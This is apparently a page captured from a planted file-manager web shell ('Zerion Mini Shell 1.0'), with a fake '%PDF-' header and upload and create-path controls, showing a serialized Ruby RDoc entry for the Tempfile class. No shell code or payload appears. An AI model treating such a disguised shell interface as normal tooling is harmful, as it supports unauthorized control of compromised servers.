%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Tempfile/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Tempfile/cdesc-Tempfile.ri

U:RDoc::NormalClass[iI"
Tempfile:ET@I"DelegateClass(File);To:RDoc::Markup::Document:@parts[o;;[ o:RDoc::Markup::Paragraph;[I"NA utility class for managing temporary files. When you create a Tempfile ;TI"Pobject, it will create a temporary file with a unique filename. A Tempfile ;TI"Pobjects behaves just like a File object, and you can perform all the usual ;TI"Rfile operations on it: reading data, writing data, changing its permissions, ;TI"Setc. So although this class does not explicitly document all instance methods ;TI"Ksupported by File, you can in fact call any File instance method on a ;TI"Tempfile object.;To:RDoc::Markup::BlankLineS:RDoc::Markup::Heading:
leveli:	textI"
Synopsis;T@o:RDoc::Markup::Verbatim;[I"require 'tempfile'
;TI"
;TI" file = Tempfile.new('foo')
;TI"Gfile.path      # => A unique filename in the OS's temp directory,
;TI"2               #    e.g.: "/tmp/foo.24722.0"
;TI"G               #    This filename contains 'foo' in its basename.
;TI"file.write("hello world")
;TI"file.rewind
;TI"'file.read      # => "hello world"
;TI"file.close
;TI",file.unlink    # deletes the temp file
;T:@format0S;;i;
I"Good practices;T@S;;i;
I"Explicit close;T@o;	;[I"OWhen a Tempfile object is garbage collected, or when the Ruby interpreter ;TI"Oexits, its associated temporary file is automatically deleted. This means ;TI"Othat's it's unnecessary to explicitly delete a Tempfile after use, though ;TI"Oit's good practice to do so: not explicitly deleting unused Tempfiles can ;TI"Kpotentially leave behind large amounts of tempfiles on the filesystem ;TI"Quntil they're garbage collected. The existence of these temp files can make ;TI"4it harder to determine a new Tempfile filename.;T@o;	;[I"QTherefore, one should always call #unlink or close in an ensure block, like ;TI"
this:;T@o;;[I" file = Tempfile.new('foo')
;TI"begin
;TI"%   ...do something with file...
;TI"ensure
;TI"   file.close
;TI".   file.unlink   # deletes the temp file
;TI"	end
;T;0S;;i;
I"Unlink after creation;T@o;	;[I"OOn POSIX systems, it's possible to unlink a file right after creating it, ;TI"Nand before closing it. This removes the filesystem entry without closing ;TI"Mthe file handle, so it ensures that only the processes that already had ;TI"Hthe file handle open can access the file's contents. It's strongly ;TI"Lrecommended that you do this if you do not want any other processes to ;TI"Kbe able to read from or write to the Tempfile, and you do not need to ;TI")know the Tempfile's filename either.;T@o;	;[	I"PFor example, a practical use case for unlink-after-creation would be this: ;TI"Nyou need a large byte buffer that's too large to comfortably fit in RAM, ;TI"Oe.g. when you're writing a web server and you want to buffer the client's ;TI"file upload data.;T@o;	;[I"EPlease refer to #unlink for more information and a code example.;T@S;;i;
I"Minor notes;T@o;	;[I"TTempfile's filename picking method is both thread-safe and inter-process-safe: ;TI"Rit guarantees that no other threads or processes will pick the same filename.;T@o;	;[I"PTempfile itself however may not be entirely thread-safe. If you access the ;TI"Rsame Tempfile object from multiple threads then you should protect it with a ;TI"mutex.;T:
@fileI"lib/tempfile.rb;T:0@omit_headings_from_table_of_contents_below0;0;0[[[[[I"
class;T[[:public[[I"create;FI"lib/tempfile.rb;T[I"new;T@k[I"	open;F@k[:protected[[:private[[I"
instance;T[[;[
[I"
close;F@k[I"close!;F@k[I"delete;F@k[I"length;F@k[I"	open;F@k[I"	path;F@k[I"	size;F@k[I"unlink;F@k[;[[;[[[U:RDoc::Context::Section[i0o;;[;0;0[@_@_cRDoc::TopLevel

Zerion Mini Shell 1.0